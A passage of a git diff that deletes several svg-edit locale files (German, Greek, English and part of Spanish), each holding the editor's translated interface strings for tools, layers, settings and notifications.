-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.de.js b/public/svg-edit/editor/locale/lang.de.js
deleted file mode 100644
index d0e7ad3e..00000000
--- a/public/svg-edit/editor/locale/lang.de.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "de",
-	dir : "ltr",
-	common: {
-		"ok": "OK",
-		"cancel": "Abbrechen",
-		"key_backspace": "Rücktaste", 
-		"key_del": "Löschen", 
-		"key_down": "nach unten", 
-		"key_up": "nach oben", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "angetrieben durch"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Zeige/Verberge weitere Linien Werkzeuge",
-		"palette_info": "Klick zum Ändern der Füllfarbe, Shift-Klick zum Ändern der Linienfarbe",
-		"zoom_level": "vergrößern",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Füllfarbe ändern",
-		"stroke_color": "Linienfarbe ändern",
-		"stroke_style": "Linienstil ändern",
-		"stroke_width": "Linienbreite ändern",
-		"pos_x": "Ändere die X Koordinate",
-		"pos_y": "Ändere die Y Koordinate",
-		"linecap_butt": "Form der Linienendung: Stumpf",
-		"linecap_round": "Form der Linienendung: Rund",
-		"linecap_square": "Form der Linienendung: Rechteckig",
-		"linejoin_bevel": "Zusammentreffen von zwei Linien: abgeschrägte Kante",
-		"linejoin_miter": "Zusammentreffen von zwei Linien: Gehrung",
-		"linejoin_round": "Zusammentreffen von zwei Linien: Rund",
-		"angle": "Drehwinkel ändern",
-		"blur": "Ändere Gaußschen Weichzeichner Wert",
-		"opacity": "Opazität des ausgewählten Objekts ändern",
-		"circle_cx": "Kreiszentrum (cx) ändern",
-		"circle_cy": "Kreiszentrum (cy) ändern",
-		"circle_r": "Kreisradius (r) ändern",
-		"ellipse_cx": "Ellipsenzentrum (cx) ändern",
-		"ellipse_cy": "Ellipsenzentrum (cy) ändern",
-		"ellipse_rx": "Ellipsenradius (x) ändern",
-		"ellipse_ry": "Ellipsenradius (y) ändern",
-		"line_x1": "X-Koordinate des Linienanfangs ändern",
-		"line_x2": "X-Koordinate des Linienendes ändern",
-		"line_y1": "Y-Koordinate des Linienanfangs ändern",
-		"line_y2": "Y-Koordinate des Linienendes ändern",
-		"rect_height": "Höhe des Rechtecks ändern",
-		"rect_width": "Breite des Rechtecks ändern",
-		"corner_radius": "Eckenradius des Rechtecks ändern",
-		"image_width": "Bildbreite ändern",
-		"image_height": "Bildhöhe ändern",
-		"image_url": "URL ändern",
-		"node_x": "Ändere die X Koordinate des Knoten",
-		"node_y": "Ändere die Y Koordinate des Knoten",
-		"seg_type": "Ändere den Typ des Segments",
-		"straight_segments": "Gerade",
-		"curve_segments": "Kurve",
-		"text_contents": "Textinhalt erstellen und bearbeiten",
-		"font_family": "Schriftart wählen",
-		"font_size": "Schriftgröße einstellen",
-		"bold": "Fetter Text",
-		"italic": "Kursiver Text"
-	},
-	tools: { 
-		"main_menu": "Hauptmenü",
-		"bkgnd_color_opac": "Hintergrundfarbe ändern / Opazität",
-		"connector_no_arrow": "Kein Pfeil",
-		"fitToContent": "An den Inhalt anpassen",
-		"fit_to_all": "An gesamten Inhalt anpassen",
-		"fit_to_canvas": "An die Zeichenfläche anpassen",
-		"fit_to_layer_content": "An Inhalt der Ebene anpassen",
-		"fit_to_sel": "An die Auswahl anpassen",
-		"align_relative_to": "Relativ zu einem anderem Objekt ausrichten ...",
-		"relativeTo": "im Vergleich zu:",
-		"Seite": "Seite",
-		"largest_object": "größtes Objekt",
-		"selected_objects": "gewählte Objekte",
-		"smallest_object": "kleinstes Objekt",
-		"new_doc": "Neues Bild",
-		"open_doc": "Bild öffnen",
-		"export_png": "Als PNG exportieren",
-		"save_doc": "Bild speichern",
-		"import_doc": "Importiere SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Unten ausrichten",
-		"align_center": "Zentriert ausrichten",
-		"align_left": "Linksbündig ausrichten",
-		"align_middle": "In der Mitte ausrichten",
-		"align_right": "Rechtsbündig ausrichten",
-		"align_top": "Oben ausrichten",
-		"mode_select": "Objekte auswählen und verändern",
-		"mode_fhpath": "Freihandlinien zeichnen",
-		"mode_line": "Linien zeichnen",
-		"mode_connect": "Verbinde zwei Objekte",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Freihand Rechteck",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Kreis",
-		"mode_fhellipse": "Freihand Ellipse",
-		"mode_path": "Pfad zeichnen",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text erstellen und bearbeiten",
-		"mode_image": "Bild einfügen",
-		"mode_zoom": "Zoomfaktor vergrößern oder verringern",
-		"mode_eyedropper": "Ableger",
-		"no_embed": "Hinweis: Dieses Bild kann nicht eingebettet werden. Eine Anzeige hängt von diesem Pfad ab.",
-		"undo": "Rückgängig",
-		"redo": "Wiederherstellen",
-		"tool_source": "Quellecode bearbeiten",
-		"wireframe_mode": "Drahtmodell Modus",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Gruppieren",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Gewähltes Objekt in einen Pfad konvertieren",
-		"reorient_path": "Neuausrichtung des Pfades",
-		"ungroup": "Gruppierung aufheben",
-		"docprops": "Dokument-Eigenschaften",
-		"imagelib": "Image Library",
-		"move_bottom": "Die gewählten Objekte nach ganz unten schieben",
-		"move_top": "Die gewählten Objekte nach ganz oben anheben",
-		"node_clone": "Klone den Knoten",
-		"node_delete": "Lösche den Knoten",
-		"node_link": "Gekoppelte oder separate Kontroll Punkte für die Bearbeitung des Pfades",
-		"add_subpath": "Teilpfad hinzufügen",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Änderungen akzeptieren",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"Löschen": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Ebene",
-		"layers": "Layers",
-		"del": "Ebene löschen",
-		"move_down": "Ebene nach unten verschieben",
-		"new": "Neue Ebene",
-		"rename": "Ebene umbenennen",
-		"move_up": "Ebene nach oben verschieben",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Verschiebe ausgewählte Objekte:",
-		"move_selected": "Verschiebe ausgewählte Objekte auf eine andere Ebene"
-	},
-	config: {
-		"image_props": "Bildeigenschaften",
-		"doc_title": "Titel",
-		"doc_dims": "Dimension der Zeichenfläche",
-		"included_images": "Eingefügte Bilder",
-		"image_opt_embed": "Daten einbetten (lokale Dateien)",
-		"image_opt_ref": "Benutze die Datei Referenz",
-		"editor_prefs": "Editor Einstellungen",
-		"icon_size": "Symbol Abmessungen",
-		"language": "Sprache",
-		"background": "Editor Hintergrund",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Anmerkung: Der Hintergrund wird mit der Speicherung des Bildes nicht gespeichert.",
-		"icon_large": "Groß",
-		"icon_medium": "Mittel",
-		"icon_small": "Klein",
-		"icon_xlarge": "Sehr Groß",
-		"select_predefined": "Auswahl einer vordefinierten:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Fehlerhafter Wert",
-		"noContentToFitTo":"Kein Inhalt anzupassen",
-		"dupeLayerName":"Eine Ebene hat bereits diesen Namen!",
-		"enterUniqueLayerName":"Verwenden Sie einen eindeutigen Namen für die Ebene",
-		"enterNewLayerName":"Geben Sie bitte einen neuen Namen für die Ebene ein",
-		"layerHasThatName":"Eine Ebene hat bereits diesen Namen",
-		"QmoveElemsToLayer":"Verschiebe ausgewählte Objekte in die Ebene '%s'?",
-		"QwantToClear":"Möchten Sie die Zeichnung löschen?\nDadurch wird auch die Rückgängig Funktion zurückgesetzt!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"Die Syntaxanalyse Ihrer SVG Quelle enthält Fehler.\nOriginal SVG wiederherstellen?",
-		"QignoreSourceChanges":"Soll die Änderung am SVG Quelltext ignoriert werden?",
-		"featNotSupported":"Diese Eigenschaft wird nicht unterstützt",
-		"enterNewImgURL":"Geben Sie die URL für das neue Bild an",
-		"defsFailOnSave": "Hinweis: Aufgrund eines Fehlers in Ihrem Browser, kann dieses Bild falsch angezeigt werden (fehlende Gradienten oder Elemente). Es wird jedoch richtig angezeigt sobald es tatsächlich gespeichert wird.",
-		"loadingImage":"Bild wird geladen, bitte warten ...",
-		"saveFromBrowser": "Wählen Sie \"Speichern unter ...\" in Ihrem Browser, um das Bild als Datei %s zu speichern.",
-		"noteTheseIssues": "Beachten Sie außerdem die folgenden Probleme: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.el.js b/public/svg-edit/editor/locale/lang.el.js
deleted file mode 100644
index 319ebc3b..00000000
--- a/public/svg-edit/editor/locale/lang.el.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "el",
-	dir : "ltr",
-	common: {
-		"ok": "Αποθηκεύω",
-		"cancel": "Άκυρο",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Κάντε κλικ για να συμπληρώσετε την αλλαγή χρώματος, στροφή κλικ για να αλλάξετε το χρώμα εγκεφαλικό",
-		"zoom_level": "Αλλαγή επίπεδο μεγέθυνσης",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Αλλαγή συμπληρώστε χρώμα",
-		"stroke_color": "Αλλαγή χρώματος εγκεφαλικό",
-		"stroke_style": "Αλλαγή στυλ παύλα εγκεφαλικό",
-		"stroke_width": "Αλλαγή πλάτος γραμμής",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Αλλαγή γωνία περιστροφής",
-		"blur": "Change gaussian blur value",
-		"opacity": "Αλλαγή αδιαφάνεια επιλεγμένο σημείο",
-		"circle_cx": "Cx Αλλαγή κύκλου συντονίζουν",
-		"circle_cy": "Αλλαγή κύκλου cy συντονίζουν",
-		"circle_r": "Αλλαγή ακτίνα κύκλου",
-		"ellipse_cx": "Αλλαγή ellipse του CX συντονίζουν",
-		"ellipse_cy": "Αλλαγή ellipse του cy συντονίζουν",
-		"ellipse_rx": "X ακτίνα Αλλαγή ellipse του",
-		"ellipse_ry": "Y ακτίνα Αλλαγή ellipse του",
-		"line_x1": "Αλλαγή γραμμής εκκίνησης x συντονίζουν",
-		"line_x2": "Αλλαγή γραμμής λήγει x συντονίζουν",
-		"line_y1": "Αλλαγή γραμμής εκκίνησης y συντονίζουν",
-		"line_y2": "Αλλαγή γραμμής λήγει y συντονίζουν",
-		"rect_height": "Αλλαγή ύψος ορθογωνίου",
-		"rect_width": "Αλλαγή πλάτους ορθογώνιο",
-		"corner_radius": "Αλλαγή ορθογώνιο Corner Radius",
-		"image_width": "Αλλαγή πλάτος εικόνας",
-		"image_height": "Αλλαγή ύψος εικόνας",
-		"image_url": "Αλλαγή URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Αλλαγή περιεχόμενο κειμένου",
-		"font_family": "Αλλαγή γραμματοσειράς Οικογένεια",
-		"font_size": "Αλλαγή μεγέθους γραμματοσειράς",
-		"bold": "Bold Text",
-		"italic": "Πλάγιους"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Αλλαγή χρώματος φόντου / αδιαφάνεια",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Ταιριάζει σε όλο το περιεχόμενο",
-		"fit_to_canvas": "Προσαρμογή στο μουσαμά",
-		"fit_to_layer_content": "Προσαρμογή στο περιεχόμενο στρώμα",
-		"fit_to_sel": "Fit to επιλογή",
-		"align_relative_to": "Στοίχιση σε σχέση με ...",
-		"relativeTo": "σε σχέση με:",
-		"σελίδα": "σελίδα",
-		"largest_object": "μεγαλύτερο αντικείμενο",
-		"selected_objects": "εκλέγεται αντικείμενα",
-		"smallest_object": "μικρότερο αντικείμενο",
-		"new_doc": "Νέα εικόνα",
-		"open_doc": "Άνοιγμα εικόνας",
-		"export_png": "Export as PNG",
-		"save_doc": "Αποθήκευση εικόνας",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Στοίχισηκάτω",
-		"align_center": "Στοίχισηστοκέντρο",
-		"align_left": "Στοίχισηαριστερά",
-		"align_middle": "Ευθυγράμμιση Μέση",
-		"align_right": "Στοίχισηδεξιά",
-		"align_top": "Στοίχισηπάνω",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Εργαλείομολυβιού",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Δωρεάν-Hand ορθογώνιο",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Κύκλος",
-		"mode_fhellipse": "Δωρεάν-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Κείμενο Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Αναίρεση",
-		"redo": "Redo",
-		"tool_source": "Επεξεργασία Πηγή",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Ομάδα Στοιχεία",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Κατάργηση ομαδοποίησης Στοιχεία",
-		"docprops": "Ιδιότητες εγγράφου",
-		"imagelib": "Image Library",
-		"move_bottom": "Μετακίνηση προς τα κάτω",
-		"move_top": "Μετακίνηση στην αρχή",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Αποθηκεύω",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Διαγραφήστρώματος",
-		"move_down": "Μετακίνηση Layer Down",
-		"new": "Νέο Layer",
-		"rename": "Μετονομασία Layer",
-		"move_up": "Μετακίνηση Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Επιλογή προκαθορισμένων:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.en.js b/public/svg-edit/editor/locale/lang.en.js
deleted file mode 100644
index de63d8b3..00000000
--- a/public/svg-edit/editor/locale/lang.en.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "en",
-	dir : "ltr",
-	common: {
-		"ok": "OK",
-		"cancel": "Cancel",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Click to change fill color, shift-click to change stroke color",
-		"zoom_level": "Change zoom level",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Change fill color",
-		"stroke_color": "Change stroke color",
-		"stroke_style": "Change stroke dash style",
-		"stroke_width": "Change stroke width by 1, shift-click to change by 0.1",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Change rotation angle",
-		"blur": "Change gaussian blur value",
-		"opacity": "Change selected item opacity",
-		"circle_cx": "Change circle's cx coordinate",
-		"circle_cy": "Change circle's cy coordinate",
-		"circle_r": "Change circle's radius",
-		"ellipse_cx": "Change ellipse's cx coordinate",
-		"ellipse_cy": "Change ellipse's cy coordinate",
-		"ellipse_rx": "Change ellipse's x radius",
-		"ellipse_ry": "Change ellipse's y radius",
-		"line_x1": "Change line's starting x coordinate",
-		"line_x2": "Change line's ending x coordinate",
-		"line_y1": "Change line's starting y coordinate",
-		"line_y2": "Change line's ending y coordinate",
-		"rect_height": "Change rectangle height",
-		"rect_width": "Change rectangle width",
-		"corner_radius": "Change Rectangle Corner Radius",
-		"image_width": "Change image width",
-		"image_height": "Change image height",
-		"image_url": "Change URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Change text contents",
-		"font_family": "Change Font Family",
-		"font_size": "Change Font Size",
-		"bold": "Bold Text",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Change background color/opacity",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Fit to all content",
-		"fit_to_canvas": "Fit to canvas",
-		"fit_to_layer_content": "Fit to layer content",
-		"fit_to_sel": "Fit to selection",
-		"align_relative_to": "Align relative to ...",
-		"relativeTo": "relative to:",
-		"page": "page",
-		"largest_object": "largest object",
-		"selected_objects": "selected objects",
-		"smallest_object": "smallest object",
-		"new_doc": "New Image",
-		"open_doc": "Open Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Align Center",
-		"align_left": "Align Left",
-		"align_middle": "Align Middle",
-		"align_right": "Align Right",
-		"align_top": "Align Top",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Rectangle",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Undo",
-		"redo": "Redo",
-		"tool_source": "Edit Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Layer",
-		"group": "Group Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elements",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to Bottom",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Apply Changes",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Move Layer Up",
-		"move_down": "Move Layer Down",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Delete Layer",
-		"move_down": "Move Layer Down",
-		"new": "New Layer",
-		"rename": "Rename Layer",
-		"move_up": "Move Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Select predefined:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer \"%s\"?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.es.js b/public/svg-edit/editor/locale/lang.es.js
deleted file mode 100644
index 9b3c1aed..00000000
--- a/public/svg-edit/editor/locale/lang.es.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "es",
-	dir : "ltr",
-	common: {
-		"ok": "OK",
-		"cancel": "Cancelar",
-		"key_backspace": "retroceso", 
-		"key_del": "suprimir", 
-		"key_down": "abajo", 
-		"key_up": "arriba", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Mostrar/ocultar herramientas de trazo adicionales",
-		"palette_info": "Haga clic para cambiar el color de relleno. Pulse Mayús y haga clic para cambiar el color del contorno.",
-		"zoom_level": "Cambiar el nivel de zoom",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Cambiar el color de relleno",
-		"stroke_color": "Cambiar el color del contorno",
-		"stroke_style": "Cambiar el estilo del trazo del contorno",
-		"stroke_width": "Cambiar el grosor del contorno",
-		"pos_x": "Cambiar la posición horizontal X",
-		"pos_y": "Cambiar la posición vertical Y",
-		"linecap_butt": "Final de la línea: en el nodo",
-		"linecap_round": "Final de la línea: redondeada",
-		"linecap_square": "Final de la línea: cuadrada",
-		"linejoin_bevel": "Unión: biselada",
-		"linejoin_miter": "Unión: recta",
-		"linejoin_round": "Unión: redondeada",
